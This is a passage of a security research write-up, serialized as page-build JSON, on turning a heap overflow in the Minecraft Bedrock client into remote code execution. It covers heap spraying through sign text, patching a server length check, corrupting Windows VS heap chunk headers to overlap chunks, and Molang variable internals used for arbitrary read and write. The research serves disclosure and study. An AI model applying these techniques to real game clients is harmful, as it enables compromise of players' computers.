create_wall",{"type":23,"tag":141,"props":150265,"children":150266},{"style":154},[150267],{"type":29,"value":1305},{"type":23,"tag":141,"props":150269,"children":150270},{"class":143,"line":79457},[150271],{"type":23,"tag":141,"props":150272,"children":150273},{"style":154},[150274],{"type":29,"value":33808},{"type":23,"tag":141,"props":150276,"children":150277},{"class":143,"line":79465},[150278],{"type":23,"tag":141,"props":150279,"children":150280},{"emptyLinePlaceholder":15},[150281],{"type":29,"value":719},{"type":23,"tag":141,"props":150283,"children":150284},{"class":143,"line":79473},[150285,150289,150293,150298,150302,150307,150311,150315,150319,150323,150327,150331,150335,150339],{"type":23,"tag":141,"props":150286,"children":150287},{"style":750},[150288],{"type":29,"value":150207},{"type":23,"tag":141,"props":150290,"children":150291},{"style":154},[150292],{"type":29,"value":322},{"type":23,"tag":141,"props":150294,"children":150295},{"style":750},[150296],{"type":29,"value":150297},"beforeEvents",{"type":23,"tag":141,"props":150299,"children":150300},{"style":154},[150301],{"type":29,"value":322},{"type":23,"tag":141,"props":150303,"children":150304},{"style":750},[150305],{"type":29,"value":150306},"playerLeave",{"type":23,"tag":141,"props":150308,"children":150309},{"style":154},[150310],{"type":29,"value":322},{"type":23,"tag":141,"props":150312,"children":150313},{"style":184},[150314],{"type":29,"value":150234},{"type":23,"tag":141,"props":150316,"children":150317},{"style":154},[150318],{"type":29,"value":192},{"type":23,"tag":141,"props":150320,"children":150321},{"style":449},[150322],{"type":29,"value":34616},{"type":23,"tag":141,"props":150324,"children":150325},{"style":154},[150326],{"type":29,"value":1220},{"type":23,"tag":141,"props":150328,"children":150329},{"style":750},[150330],{"type":29,"value":150243},{"type":23,"tag":141,"props":150332,"children":150333},{"style":154},[150334],{"type":29,"value":1748},{"type":23,"tag":141,"props":150336,"children":150337},{"style":449},[150338],{"type":29,"value":13498},{"type":23,"tag":141,"props":150340,"children":150341},{"style":154},[150342],{"type":29,"value":1951},{"type":23,"tag":141,"props":150344,"children":150345},{"class":143,"line":79513},[150346,150351],{"type":23,"tag":141,"props":150347,"children":150348},{"style":184},[150349],{"type":29,"value":150350}," remove_wall",{"type":23,"tag":141,"props":150352,"children":150353},{"style":154},[150354],{"type":29,"value":1305},{"type":23,"tag":141,"props":150356,"children":150357},{"class":143,"line":79521},[150358],{"type":23,"tag":141,"props":150359,"children":150360},{"style":154},[150361],{"type":29,"value":33808},{"type":23,"tag":32,"props":150363,"children":150364},{},[150365],{"type":29,"value":150366},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":23,"tag":32,"props":150368,"children":150369},{},[150370],{"type":23,"tag":2591,"props":150371,"children":150374},{"alt":150372,"src":150373},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":23,"tag":32,"props":150376,"children":150377},{},[150378],{"type":29,"value":150379},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":23,"tag":17563,"props":150381,"children":150383},{"id":150382},"a-small-roadblock",[150384],{"type":29,"value":150385},"A Small Roadblock",{"type":23,"tag":32,"props":150387,"children":150388},{},[150389],{"type":29,"value":150390},"While testing our heap spray method, we encountered the following error:",{"type":23,"tag":131,"props":150392,"children":150394},{"code":150393},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n at alloc (index.js:169)\n",[150395],{"type":23,"tag":38,"props":150396,"children":150397},{"__ignoreMap":7},[150398],{"type":29,"value":150393},{"type":23,"tag":32,"props":150400,"children":150401},{},[150402,150404,150410],{"type":29,"value":150403},"An error is thrown by the server executable while trying to assign text longer than ",{"type":23,"tag":38,"props":150405,"children":150407},{"className":150406},[],[150408],{"type":29,"value":150409},"512",{"type":29,"value":150411}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":23,"tag":32,"props":150413,"children":150414},{},[150415],{"type":29,"value":150416},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":23,"tag":32,"props":150418,"children":150419},{},[150420],{"type":29,"value":150421},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":23,"tag":32,"props":150423,"children":150424},{},[150425],{"type":23,"tag":2591,"props":150426,"children":150428},{"alt":49057,"src":150427},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":23,"tag":32,"props":150430,"children":150431},{},[150432,150434,150440],{"type":29,"value":150433},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":23,"tag":38,"props":150435,"children":150437},{"className":150436},[],[150438],{"type":29,"value":150439},"string_length \u003C= 512",{"type":29,"value":150441}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":23,"tag":32,"props":150443,"children":150444},{},[150445],{"type":29,"value":150446},"The disassembly of the comparison looks like this:",{"type":23,"tag":32,"props":150448,"children":150449},{},[150450],{"type":23,"tag":2591,"props":150451,"children":150453},{"alt":49057,"src":150452},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":23,"tag":32,"props":150455,"children":150456},{},[150457,150459,150464,150466,150471,150472,150477,150479,150485,150487,150493,150495,150500,150502,150507],{"type":29,"value":150458},"The code compares ",{"type":23,"tag":38,"props":150460,"children":150462},{"className":150461},[],[150463],{"type":29,"value":55254},{"type":29,"value":150465}," (the string length) to ",{"type":23,"tag":38,"props":150467,"children":150469},{"className":150468},[],[150470],{"type":29,"value":126299},{"type":29,"value":1220},{"type":23,"tag":38,"props":150473,"children":150475},{"className":150474},[],[150476],{"type":29,"value":150409},{"type":29,"value":150478}," decimal). It then performs a ",{"type":23,"tag":38,"props":150480,"children":150482},{"className":150481},[],[150483],{"type":29,"value":150484},"jbe",{"type":29,"value":150486},", jumping to address ",{"type":23,"tag":38,"props":150488,"children":150490},{"className":150489},[],[150491],{"type":29,"value":150492},"0x14275114c",{"type":29,"value":150494}," if ",{"type":23,"tag":38,"props":150496,"children":150498},{"className":150497},[],[150499],{"type":29,"value":55254},{"type":29,"value":150501}," is less than or equal to ",{"type":23,"tag":38,"props":150503,"children":150505},{"className":150504},[],[150506],{"type":29,"value":150409},{"type":29,"value":150508},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":23,"tag":32,"props":150510,"children":150511},{},[150512,150514,150519,150521,150527],{"type":29,"value":150513},"To force execution down this path, we patched the ",{"type":23,"tag":38,"props":150515,"children":150517},{"className":150516},[],[150518],{"type":29,"value":150484},{"type":29,"value":150520}," instruction to an unconditional ",{"type":23,"tag":38,"props":150522,"children":150524},{"className":150523},[],[150525],{"type":29,"value":150526},"jmp",{"type":29,"value":150528},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":23,"tag":32,"props":150530,"children":150531},{},[150532],{"type":23,"tag":2591,"props":150533,"children":150535},{"alt":49057,"src":150534},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":23,"tag":32,"props":150537,"children":150538},{},[150539,150541,150546,150548,150553],{"type":29,"value":150540},"After patching the server and calling ",{"type":23,"tag":38,"props":150542,"children":150544},{"className":150543},[],[150545],{"type":29,"value":148650},{"type":29,"value":150547}," with a size of ",{"type":23,"tag":38,"props":150549,"children":150551},{"className":150550},[],[150552],{"type":29,"value":56628},{"type":29,"value":150554},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":23,"tag":32,"props":150556,"children":150557},{},[150558],{"type":23,"tag":2591,"props":150559,"children":150561},{"alt":49057,"src":150560},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":23,"tag":17463,"props":150563,"children":150564},{},[],{"type":23,"tag":32,"props":150566,"children":150567},{},[150568],{"type":29,"value":150569},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":23,"tag":32,"props":150571,"children":150572},{},[150573],{"type":29,"value":150574},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":23,"tag":8287,"props":150576,"children":150578},{"id":150577},"overlapping-heap-chunks",[150579],{"type":29,"value":150580},"Overlapping Heap Chunks",{"type":23,"tag":32,"props":150582,"children":150583},{},[150584,150586,150591],{"type":29,"value":150585},"The attack is described in detail in the referenced blog post (",{"type":23,"tag":55,"props":150587,"children":150589},{"href":148394,"rel":150588},[59],[150590],{"type":29,"value":46062},{"type":29,"value":150592},"), so we will present a high-level overview.",{"type":23,"tag":32,"props":150594,"children":150595},{},[150596,150598,150604],{"type":29,"value":150597},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":23,"tag":38,"props":150599,"children":150601},{"className":150600},[],[150602],{"type":29,"value":150603},"_HEAP_VS_CHUNK_HEADER",{"type":29,"value":150605}," structure layout is required:",{"type":23,"tag":131,"props":150607,"children":150609},{"code":150608}," +---------------------------+ +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost |\n +---------------------------+ +---------------+\n+0x8 |EncodedSegmentPageOffset | +0x2 |UnsafeSize |\n +---------------------------+ +---------------+\n+0x8 |UnusedBytes | +0x4 |UnsafePrevSize |\n +---------------------------+ +---------------+\n | . . . | +0x6 |Allocated |\n +---------------+\n | . . . |\n",[150610],{"type":23,"tag":38,"props":150611,"children":150612},{"__ignoreMap":7},[150613],{"type":29,"value":150608},{"type":23,"tag":32,"props":150615,"children":150616},{},[150617,150619,150625,150627,150633,150634,150640,150641,150647,150649,150654,150656,150661,150663,150669,150671,150676,150678,150684],{"type":29,"value":150618},"At offset 0 there is a header ",{"type":23,"tag":38,"props":150620,"children":150622},{"className":150621},[],[150623],{"type":29,"value":150624},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":29,"value":150626}," containing fields such as ",{"type":23,"tag":38,"props":150628,"children":150630},{"className":150629},[],[150631],{"type":29,"value":150632},"MemoryCost",{"type":29,"value":480},{"type":23,"tag":38,"props":150635,"children":150637},{"className":150636},[],[150638],{"type":29,"value":150639},"UnsafeSize",{"type":29,"value":480},{"type":23,"tag":38,"props":150642,"children":150644},{"className":150643},[],[150645],{"type":29,"value":150646},"UnsafePrevSize",{"type":29,"value":150648},", etc. For the attack we only care about the ",{"type":23,"tag":38,"props":150650,"children":150652},{"className":150651},[],[150653],{"type":29,"value":150639},{"type":29,"value":150655}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":23,"tag":38,"props":150657,"children":150659},{"className":150658},[],[150660],{"type":29,"value":124922},{"type":29,"value":150662},", so for a chunk of size ",{"type":23,"tag":38,"props":150664,"children":150666},{"className":150665},[],[150667],{"type":29,"value":150668},"0x4010",{"type":29,"value":150670}," the value of ",{"type":23,"tag":38,"props":150672,"children":150674},{"className":150673},[],[150675],{"type":29,"value":150639},{"type":29,"value":150677}," would be ",{"type":23,"tag":38,"props":150679,"children":150681},{"className":150680},[],[150682],{"type":29,"value":150683},"0x401",{"type":29,"value":322},{"type":23,"tag":32,"props":150686,"children":150687},{},[150688,150689,150694],{"type":29,"value":62698},{"type":23,"tag":38,"props":150690,"children":150692},{"className":150691},[],[150693],{"type":29,"value":150639},{"type":29,"value":150695}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":23,"tag":32,"props":150697,"children":150698},{},[150699,150701,150706,150708,150713,150715,150721,150723,150728],{"type":29,"value":150700},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":23,"tag":38,"props":150702,"children":150704},{"className":150703},[],[150705],{"type":29,"value":150639},{"type":29,"value":150707}," in the smallest possible VS chunk (",{"type":23,"tag":38,"props":150709,"children":150711},{"className":150710},[],[150712],{"type":29,"value":150668},{"type":29,"value":150714},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":23,"tag":38,"props":150716,"children":150718},{"className":150717},[],[150719],{"type":29,"value":150720},"[0x10, 0xffff0]",{"type":29,"value":150722}," range, the probability that it exceeds ",{"type":23,"tag":38,"props":150724,"children":150726},{"className":150725},[],[150727],{"type":29,"value":150668},{"type":29,"value":150729}," is:",{"type":23,"tag":131,"props":150731,"children":150733},{"code":150732},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[150734],{"type":23,"tag":38,"props":150735,"children":150736},{"__ignoreMap":7},[150737],{"type":29,"value":150732},{"type":23,"tag":32,"props":150739,"children":150740},{},[150741],{"type":29,"value":150742},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":23,"tag":32,"props":150744,"children":150745},{},[150746],{"type":29,"value":150747},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":23,"tag":17563,"props":150749,"children":150751},{"id":150750},"overlap-attack-overview",[150752],{"type":29,"value":150753},"Overlap Attack Overview",{"type":23,"tag":32,"props":150755,"children":150756},{},[150757,150759,150764],{"type":29,"value":150758},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":23,"tag":38,"props":150760,"children":150762},{"className":150761},[],[150763],{"type":29,"value":124945},{"type":29,"value":150765}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":23,"tag":32,"props":150767,"children":150768},{},[150769,150771,150776,150778,150783],{"type":29,"value":150770},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":23,"tag":38,"props":150772,"children":150774},{"className":150773},[],[150775],{"type":29,"value":146653},{"type":29,"value":150777},"-sized chunks in the free list that we want to avoid. If a ",{"type":23,"tag":38,"props":150779,"children":150781},{"className":150780},[],[150782],{"type":29,"value":146653},{"type":29,"value":150784},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":23,"tag":32,"props":150786,"children":150787},{},[150788,150790,150795],{"type":29,"value":150789},"To remove those ",{"type":23,"tag":38,"props":150791,"children":150793},{"className":150792},[],[150794],{"type":29,"value":146653},{"type":29,"value":150796},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":23,"tag":32,"props":150798,"children":150799},{},[150800],{"type":29,"value":150801},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":23,"tag":131,"props":150803,"children":150805},{"code":150804},"+--------+--------+--------+--------+--------+\n| | | | | |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n| | | | | |\n+--------+--------+--------+--------+--------+\n",[150806],{"type":23,"tag":38,"props":150807,"children":150808},{"__ignoreMap":7},[150809],{"type":29,"value":150804},{"type":23,"tag":32,"props":150811,"children":150812},{},[150813,150815,150820,150822,150827],{"type":29,"value":150814},"Next we create ",{"type":23,"tag":47,"props":150816,"children":150817},{},[150818],{"type":29,"value":150819},"holes",{"type":29,"value":150821}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":23,"tag":38,"props":150823,"children":150825},{"className":150824},[],[150826],{"type":29,"value":146653},{"type":29,"value":150828},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":23,"tag":131,"props":150830,"children":150832},{"code":150831}," Free Free \n+--------+--------+--------+--------+--------+\n| |........| |........| |\n| Sign A |........| Sign C |........| Sign F |\n| |........| |........| |\n+--------+--------+--------+--------+--------+\n",[150833],{"type":23,"tag":38,"props":150834,"children":150835},{"__ignoreMap":7},[150836],{"type":29,"value":150831},{"type":23,"tag":32,"props":150838,"children":150839},{},[150840,150842,150847,150849,150854],{"type":29,"value":150841},"When a ",{"type":23,"tag":38,"props":150843,"children":150845},{"className":150844},[],[150846],{"type":29,"value":146653},{"type":29,"value":150848}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":23,"tag":38,"props":150850,"children":150852},{"className":150851},[],[150853],{"type":29,"value":150639},{"type":29,"value":150855}," field will be overwritten:",{"type":23,"tag":131,"props":150857,"children":150859},{"code":150858}," +--------+ \n Free | | \n+--------+--------+--------+ g->out +--------+\n| |........| | | |\n| Sign A |........| Sign C +--------+ Sign F |\n| |........| | | |\n+--------+--------+--------+ +--------+\n",[150860],{"type":23,"tag":38,"props":150861,"children":150862},{"__ignoreMap":7},[150863],{"type":29,"value":150858},{"type":23,"tag":32,"props":150865,"children":150866},{},[150867,150869,150874,150876,150881,150883,150888],{"type":29,"value":150868},"Once ",{"type":23,"tag":38,"props":150870,"children":150872},{"className":150871},[],[150873],{"type":29,"value":150639},{"type":29,"value":150875}," has been overwritten, ",{"type":23,"tag":38,"props":150877,"children":150879},{"className":150878},[],[150880],{"type":29,"value":146653},{"type":29,"value":150882}," allocation is freed immediately after, restoring the previous layout but with ",{"type":23,"tag":38,"props":150884,"children":150886},{"className":150885},[],[150887],{"type":29,"value":150639},{"type":29,"value":150889}," field corrupted:",{"type":23,"tag":131,"props":150891,"children":150893},{"code":150892}," UnsafeSize Overwritten\n ^ \n | \n Free Free | \n+--------+--------+--------+--------+---+----+ \n| |........| |........| | \n| Sign A |........| Sign C |........| Sign F | \n| |........| |........| | \n+--------+--------+--------+--------+--------+ \n",[150894],{"type":23,"tag":38,"props":150895,"children":150896},{"__ignoreMap":7},[150897],{"type":29,"value":150892},{"type":23,"tag":32,"props":150899,"children":150900},{},[150901],{"type":29,"value":150902},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":23,"tag":131,"props":150904,"children":150906},{"code":150905}," UnsafeSize Overwritten\n ^ \n | \n | \n+--------+--------+--------+--------+---+----+ \n| | | | | | \n| Sign A | Sign B | Sign C | Sign D | Sign F | \n| | | | | | \n+--------+--------+--------+--------+--------+ \n",[150907],{"type":23,"tag":38,"props":150908,"children":150909},{"__ignoreMap":7},[150910],{"type":29,"value":150905},{"type":23,"tag":32,"props":150912,"children":150913},{},[150914],{"type":29,"value":150915},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":23,"tag":131,"props":150917,"children":150919},{"code":150918}," Freed Overwritten \n | \n +----------+----------+\n | |\n Free Free v v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........| |........| |........| \n|........| Sign B |........| Sign D |........| Other chunks\n|........| |........| |........| \n+--------+--------+--------+--------+--------+- - - - - - -\n",[150920],{"type":23,"tag":38,"props":150921,"children":150922},{"__ignoreMap":7},[150923],{"type":29,"value":150918},{"type":23,"tag":17463,"props":150925,"children":150926},{},[],{"type":23,"tag":32,"props":150928,"children":150929},{},[150930],{"type":29,"value":150931},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":23,"tag":32,"props":150933,"children":150934},{},[150935],{"type":29,"value":150936},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":23,"tag":8287,"props":150938,"children":150940},{"id":150939},"molang",[150941],{"type":29,"value":150942},"Molang",{"type":23,"tag":32,"props":150944,"children":150945},{},[150946,150948,150955],{"type":29,"value":150947},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":23,"tag":55,"props":150949,"children":150952},{"href":150950,"rel":150951},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[59],[150953],{"type":29,"value":150954},"syntax guide",{"type":29,"value":322},{"type":23,"tag":32,"props":150957,"children":150958},{},[150959,150961,150966,150967,150972],{"type":29,"value":150960},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":23,"tag":38,"props":150962,"children":150964},{"className":150963},[],[150965],{"type":29,"value":7251},{"type":29,"value":313},{"type":23,"tag":38,"props":150968,"children":150970},{"className":150969},[],[150971],{"type":29,"value":14364},{"type":29,"value":150973}," operators are supported.",{"type":23,"tag":32,"props":150975,"children":150976},{},[150977,150979,150985,150987,150992,150994,150999,151000,151005,151006],{"type":29,"value":150978},"Variables are defined by prepending ",{"type":23,"tag":38,"props":150980,"children":150982},{"className":150981},[],[150983],{"type":29,"value":150984},"variable.",{"type":29,"value":150986}," to the name and assigning a value. For example, to define ",{"type":23,"tag":38,"props":150988,"children":150990},{"className":150989},[],[150991],{"type":29,"value":7760},{"type":29,"value":150993}," as the sum of ",{"type":23,"tag":38,"props":150995,"children":150997},{"className":150996},[],[150998],{"type":29,"value":55},{"type":29,"value":313},{"type":23,"tag":38,"props":151001,"children":151003},{"className":151002},[],[151004],{"type":29,"value":1883},{"type":29,"value":14008},{"type":23,"tag":38,"props":151007,"children":151009},{"className":151008},[],[151010],{"type":29,"value":151011},"variable.result = variable.a + variable.b;",{"type":23,"tag":32,"props":151013,"children":151014},{},[151015,151017,151022,151023,151028,151029,151034,151035,151040],{"type":29,"value":151016},"Logical operators such as ",{"type":23,"tag":38,"props":151018,"children":151020},{"className":151019},[],[151021],{"type":29,"value":163},{"type":29,"value":480},{"type":23,"tag":38,"props":151024,"children":151026},{"className":151025},[],[151027],{"type":29,"value":71680},{"type":29,"value":480},{"type":23,"tag":38,"props":151030,"children":151032},{"className":151031},[],[151033],{"type":29,"value":4480},{"type":29,"value":480},{"type":23,"tag":38,"props":151036,"children":151038},{"className":151037},[],[151039],{"type":29,"value":9142},{"type":29,"value":151041},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":23,"tag":131,"props":151043,"children":151045},{"code":151044},"(variable.result == 3) ? {\n return 1;\n} : {\n return 0;\n}\n",[151046],{"type":23,"tag":38,"props":151047,"children":151048},{"__ignoreMap":7},[151049],{"type":29,"value":151044},{"type":23,"tag":32,"props":151051,"children":151052},{},[151053],{"type":29,"value":151054},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":23,"tag":17563,"props":151056,"children":151058},{"id":151057},"molang-internals",[151059],{"type":29,"value":151060},"Molang Internals",{"type":23,"tag":32,"props":151062,"children":151063},{},[151064],{"type":29,"value":151065},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":23,"tag":32,"props":151067,"children":151068},{},[151069],{"type":29,"value":151070},"Below we describe the structures involved and their memory layout.",{"type":23,"tag":17563,"props":151072,"children":151074},{"id":151073},"molangvariable-and-molangscriptarg",[151075],{"type":29,"value":151076},"MolangVariable and MolangScriptArg",{"type":23,"tag":32,"props":151078,"children":151079},{},[151080,151081,151087],{"type":29,"value":100836},{"type":23,"tag":38,"props":151082,"children":151084},{"className":151083},[],[151085],{"type":29,"value":151086},"MolangVariable",{"type":29,"value":151088}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":23,"tag":131,"props":151090,"children":151092},{"code":151091,"language":1807,"meta":7,"className":15191,"style":7},"struct MolangVariable {\n \n struct HashedString {\n uint64_t variable_name_hash;\n std::string variable_name;\n };\n \n struct MolangScriptArg {\n uint32_t value_type;\n uint64_t value;\n std::vector\u003Cstruct MolangScriptArg> struct_fields;\n \n [...]\n };\n};\n",[151093],{"type":23,"tag":38,"props":151094,"children":151095},{"__ignoreMap":7},[151096,151108,151115,151127,151140,151148,151155,151162,151174,151187,151199,151229,151237,151244,151251],{"type":23,"tag":141,"props":151097,"children":151098},{"class":143,"line":144},[151099,151103],{"type":23,"tag":141,"props":151100,"children":151101},{"style":449},[151102],{"type":29,"value":8079},{"type":23,"tag":141,"props":151104,"children":151105},{"style":154},[151106],{"type":29,"value":151107}," MolangVariable {\n",{"type":23,"tag":141,"props":151109,"children":151110},{"class":143,"line":180},[151111],{"type":23,"tag":141,"props":151112,"children":151113},{"style":154},[151114],{"type":29,"value":60267},{"type":23,"tag":141,"props":151116,"children":151117},{"class":143,"line":205},[151118,151122],{"type":23,"tag":141,"props":151119,"children":151120},{"style":449},[151121],{"type":29,"value":4726},{"type":23,"tag":141,"props":151123,"children":151124},{"style":154},[151125],{"type":29,"value":151126}," HashedString {\n",{"type":23,"tag":141,"props":151128,"children":151129},{"class":143,"line":218},[151130,151135],{"type":23,"tag":141,"props":151131,"children":151132},{"style":449},[151133],{"type":29,"value":151134}," uint64_t",{"type":23,"tag":141,"props":151136,"children":151137},{"style":154},[151138],{"type":29,"value":151139}," variable_name_hash;\n",{"type":23,"tag":141,"props":151141,"children":151142},{"class":143,"line":227},[151143],{"type":23,"tag":141,"props":151144,"children":151145},{"style":154},[151146],{"type":29,"value":151147}," std::string variable_name;\n",{"type":23,"tag":141,"props":151149,"children":151150},{"class":143,"line":241},[151151],{"type":23,"tag":141,"props":151152,"children":151153},{"style":154},[151154],{"type":29,"value":37468},{"type":23,"tag":141,"props":151156,"children":151157},{"class":143,"line":262},[151158],{"type":23,"tag":141,"props":151159,"children":151160},{"style":154},[151161],{"type":29,"value":60267},{"type":23,"tag":141,"props":151163,"children":151164},{"class":143,"line":271},[151165,151169],{"type":23,"tag":141,"props":151166,"children":151167},{"style":449},[151168],{"type":29,"value":4726},{"type":23,"tag":141,"props":151170,"children":151171},{"style":154},[151172],{"type":29,"value":151173}," MolangScriptArg {\n",{"type":23,"tag":141,"props":151175,"children":151176},{"class":143,"line":293},[151177,151182],{"type":23,"tag":141,"props":151178,"children":151179},{"style":449},[151180],{"type":29,"value":151181}," uint32_t",{"type":23,"tag":141,"props":151183,"children":151184},{"style":154},[151185],{"type":29,"value":151186}," value_type;\n",{"type":23,"tag":141,"props":151188,"children":151189},{"class":143,"line":801},[151190,151194],{"type":23,"tag":141,"props":151191,"children":151192},{"style":449},[151193],{"type":29,"value":151134},{"type":23,"tag":141,"props":151195,"children":151196},{"style":154},[151197],{"type":29,"value":151198}," value;\n",{"type":23,"tag":141,"props":151200,"children":151201},{"class":143,"line":810},[151202,151207,151211,151215,151220,151224],{"type":23,"tag":141,"props":151203,"children":151204},{"style":154},[151205],{"type":29,"value":151206}," std::vector",{"type":23,"tag":141,"props":151208,"children":151209},{"style":160},[151210],{"type":29,"value":4480},{"type":23,"tag":141,"props":151212,"children":151213},{"style":449},[151214],{"type":29,"value":8079},{"type":23,"tag":141,"props":151216,"children":151217},{"style":154},[151218],{"type":29,"value":151219}," MolangScriptArg",{"type":23,"tag":141,"props":151221,"children":151222},{"style":160},[151223],{"type":29,"value":9142},{"type":23,"tag":141,"props":151225,"children":151226},{"style":154},[151227],{"type":29,"value":151228}," struct_fields;\n",{"type":23,"tag":141,"props":151230,"children":151231},{"class":143,"line":824},[151232],{"type":23,"tag":141,"props":151233,"children":151234},{"style":154},[151235],{"type":29,"value":151236}," \n",{"type":23,"tag":141,"props":151238,"children":151239},{"class":143,"line":839},[151240],{"type":23,"tag":141,"props":151241,"children":151242},{"style":154},[151243],{"type":29,"value":122524},{"type":23,"tag":141,"props":151245,"children":151246},{"class":143,"line":848},[151247],{"type":23,"tag":141,"props":151248,"children":151249},{"style":154},[151250],{"type":29,"value":37468},{"type":23,"tag":141,"props":151252,"children":151253},{"class":143,"line":2304},[151254],{"type":23,"tag":141,"props":151255,"children":151256},{"style":154},[151257],{"type":29,"value":1357},{"type":23,"tag":32,"props":151259,"children":151260},{},[151261,151263,151268],{"type":29,"value":151262},"In memory a ",{"type":23,"tag":38,"props":151264,"children":151266},{"className":151265},[],[151267],{"type":29,"value":151086},{"type":29,"value":151269}," instance resembles:",{"type":23,"tag":131,"props":151271,"children":151273},{"code":151272}," +---------------+---------------+\n+0x00 | FNV-1 hash |std::string.buf|\n +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n +---------------+---------------+\n+0x20 |std::string.cap| Unknown |\n +-------+-------+---------------+\n+0x30 | Type |Unused |Variable value |\n +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n +---------------+---------------+\n+0x50 |std::vector.cap| Unknown |\n +---------------+---------------+\n | . . . | . . . |\n",[151274],{"type":23,"tag":38,"props":151275,"children":151276},{"__ignoreMap":7},[151277],{"type":29,"value":151272},{"type":23,"tag":32,"props":151279,"children":151280},{},[151281],{"type":29,"value":151282},"For reference, example debugger view of the layout:",{"type":23,"tag":32,"props":151284,"children":151285},{},[151286],{"type":23,"tag":2591,"props":151287,"children":151289},{"alt":49057,"src":151288},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":23,"tag":32,"props":151291,"children":151292},{},[151293],{"type":29,"value":151294},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":23,"tag":32,"props":151296,"children":151297},{},[151298,151300,151306,151308,151313,151315,151321,151323,151328,151329,151334,151336,151341,151342,151348,151349,151355],{"type":29,"value":151299},"We only care about the ",{"type":23,"tag":38,"props":151301,"children":151303},{"className":151302},[],[151304],{"type":29,"value":151305},"MolangScriptArg",{"type":29,"value":151307}," beginning at offset ",{"type":23,"tag":38,"props":151309,"children":151311},{"className":151310},[],[151312],{"type":29,"value":127403},{"type":29,"value":151314}," because it contains variable values. In the screenshot above, the ",{"type":23,"tag":38,"props":151316,"children":151318},{"className":151317},[],[151319],{"type":29,"value":151320},"value_type",{"type":29,"value":151322}," at ",{"type":23,"tag":38,"props":151324,"children":151326},{"className":151325},[],[151327],{"type":29,"value":127403},{"type":29,"value":4175},{"type":23,"tag":38,"props":151330,"children":151332},{"className":151331},[],[151333],{"type":29,"value":2698},{"type":29,"value":151335}," (meaning float), and the 